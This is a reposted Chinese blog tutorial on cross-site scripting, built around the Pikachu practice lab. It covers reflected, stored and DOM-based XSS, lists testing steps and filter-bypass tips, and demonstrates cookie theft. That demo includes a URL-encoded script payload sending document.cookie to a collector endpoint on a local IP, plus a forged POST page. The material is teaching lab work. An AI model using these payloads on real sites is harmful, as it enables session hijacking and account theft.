博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
三 XSS(一)
阅读量:2061 次
发布时间:2019-04-29

本文共 2237 字,大约阅读时间需要 7 分钟。

跨站脚本漏洞概述

ⅩSS漏洞一直被评估为web漏洞中危害较大的漏洞,在 OWASP TOP10的排名中一直属于前三的江湖地位。

XSS是一种发生在web前端的漏洞,所以其危害的对象也主要是前端用户。
XSS漏洞可以用来进行钓鱼攻击、钓鱼攻击、前端js挖矿、用户 cookie获取。甚至可以结合浏览器自身的漏洞对用户主机进行远程控制等

XSS攻击流程
  • 反射型
    交互的数据一般不会被存在在数据库里面,一次性,所见即所得,一般出现在查询类页面等。
  • 存储型
    交互的数据会被存在在数据库里面,永久性存储,一般出现在留言板,注册等页面。
  • DOM型
    不与后台服务器产生数据交互,是一种通过DOM操作前端代码输出的时候产生的问题,一次性的,一般是js操作DOM对象。
    也属于反射型。

危害性

存储型>反射型>DOM型

XSS漏洞形成的原因

XSS原因

形成XSS漏洞的主要原因是程序对输入和输出的控制不够严格,导致“精心构造”的脚本输入后,在输到前端时被浏览器当作有效代码解析执行,从而产生危害。

XSS漏洞类型及测试流程

  1. 在目标站点上找到输入点,比如查询接口留言板等
  2. 输入一组“特殊字符+唯一识别字符”,点击提交后,查看返回的源码,是否有做对应的过滤或者转义处理 如 '"<>666
  3. 通过搜索定位到唯一字符,结合唯一字符前后语法确认是否可以构造执行js的条件(构造闭合)
  4. 提交构造的脚本代码(以及各种绕过姿势),看是否可以成功执行,如果成功执行则说明存在XS漏洞

TIPS

  1. 一般查询接口容易出现反射型XSS,留言板容易岀现存储型XSS
  2. 由于后台可能存在过滤措施,构造的 script可能会被过滤掉,而无法生效或者环境限制了执行(浏览器);
  3. 通过变化不同的 script,尝试绕过后台的过滤机制

反射型XSS(get&post)演示和原理分析

get

测试payload

生成的url为,将这个url发送给受攻击者诱导其点击.

效果

基于GET的反射型XSS
后台代码

当然这个例子没有危害性

存储型XSS演示和与原理分析

存储型XS漏洞跟反射型形成的原因一样,不同的是存储型XSS下攻击者可以将脚本注入到后台存储起来,构成更加持久的危害,因此存储型XSS也称“永久型”XSS。

常见于论坛的留言板

存储型XSS

后台代码

处理提交的后台代码
显示留言的后台代码

DOM型XSS演示和原理分析

DOM 提供了js操作HTML结构的编程接口

可参考

通过 JavaScript,可以重构整个HTML文档。你可以添加、移除、改变或重排页面上的项目要改变页面的某个东西, JavaScript就需要获得对HTML文档中所有元素进行访问的入口。这个入口,连同对HTML元素进行添加、移动、改变或移除的方法和属性,都是通过文档对象模型来获得的(DOM)

所以,你可以把DOM理解为一个访问HTML的标准编程接口。

示例1

基于DOM的XSS
效果

其它payload

#' onclick="alert('xss')"

这个例子用来说明基于DOM的XSS的原理,这个例子没有太大的危害

示例2

示例2

这个例子通过将url发给目标就可以执行了

ⅩSS的危害-获取 cookie的原理和实验演示

原理

pkxss后台

pkxss后台接收cookies信息的接口http://192.168.43.5/pkxss/pkxss_login.php

当把包含恶意xss脚本的url发送给目标,目标点击后其cookies就会提交给xss后台的cookie接口,存入数据库.

恶意url为

http://192.168.43.5/pikachu/vul/xss/xss_reflected_get.php?message=%3Cscript%3Edocument.location%3D%27http%3A%2F%2F192.168.43.5%2Fpikachu%2Fpkxss%2Fxcookie%2Fcookie.php%3Fcookie%3D%27%2Bdocument.cookie%3B%3C%2Fscript%3E&submit=submit
xss后台接收到的cookie信息

POST方法的XSS

POST方法的参数不在url中,不能使用发送url的方式来利用,可以伪造一个页面让用户访问,这个页面以POST方法来向目标网站提交XXS脚本,原理如下图所示.

POST类型XSS的利用-Cookie获取

这个伪造的页面代码如下:

伪造页面

为方便起见,我将pikachu,pikxss和伪造的页面放在一个服务器上向上面的代码有点不同

pikachu的post xss地址 http://192.168.43.5/pikachu/vul/xss/xsspost/xss_reflected_post.phppikxss后台接收cookie的接口http://192.168.43.5/pikachu/pkxss/xcookie/cookie.php伪造页面的地址http://192.168.43.5/pikachu/pkxss/xcookie/post.html

当用户访问下面的url时,就会向pkxss后台提交cookie

http://192.168.43.5/pikachu/pkxss/xcookie/post.html

当用户点击后,后台有收到含有登陆信息的cookie

pkxss后台

转载地址:http://grqlf.baihongyu.com/

你可能感兴趣的文章
【虫师】【selenium】参数化
查看>>
【Python练习】文件引用用户名密码登录系统
查看>>
学习网站汇总
查看>>
【Python】用Python打开csv和xml文件
查看>>
【Loadrunner】性能测试报告实战
查看>>
【面试】一份自我介绍模板
查看>>
【自动化测试】自动化测试需要了解的的一些事情。
查看>>
【selenium】selenium ide的安装过程
查看>>
【手机自动化测试】monkey测试
查看>>
【英语】软件开发常用英语词汇
查看>>
Fiddler 抓包工具总结
查看>>
【雅思】雅思需要购买和准备的学习资料
查看>>
【雅思】雅思写作作业(1)
查看>>
【雅思】【大作文】【审题作业】关于同不同意的审题作业(重点)
查看>>
【Loadrunner】通过loadrunner录制时候有事件但是白页无法出来登录页怎么办?
查看>>
【Python】xpath中为什么粘贴进去代码后老报错?如何在定位元素的时候准确找到定位切入点?...
查看>>
Loadrunner解决启动浏览器后页面显示空白
查看>>
【English】【托业】【四六级】写译高频词汇
查看>>
【托业】【新东方全真模拟】01~02-----P5~6
查看>>
【托业】【新东方全真模拟】03~04-----P5~6
查看>>